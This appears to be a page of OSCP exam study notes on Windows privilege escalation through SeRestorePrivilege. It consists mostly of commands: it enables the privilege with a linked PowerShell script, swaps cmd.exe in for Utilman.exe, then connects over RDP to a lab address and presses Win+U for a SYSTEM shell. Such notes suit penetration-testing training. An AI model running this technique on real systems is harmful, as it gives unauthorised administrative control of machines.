> For the complete documentation index, see [llms.txt](https://oscp.adot8.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://oscp.adot8.com/windows-privilege-escalation/whoami-priv/serestoreprivilege.md).

# SeRestorePrivilege

```
PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeRestorePrivilege            Restore files and directories  Enabled
```

{% embed url="<https://github.com/gtworek/PSBits/blob/master/Misc/EnableSeRestorePrivilege.ps1>" %}

```
.\EnableSeRestorePrivilege.ps1
```

```
ren C:\Windows\System32\Utilman.exe C:\Windows\System32\Utilman.pwned
ren C:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe
```

```
rdesktop 192.168.241.165
```

{% hint style="info" %}
Hit Win + U
{% endhint %}

<figure><img src="/files/djSYomyWti0jQVr6sjiq" alt=""><figcaption></figcaption></figure>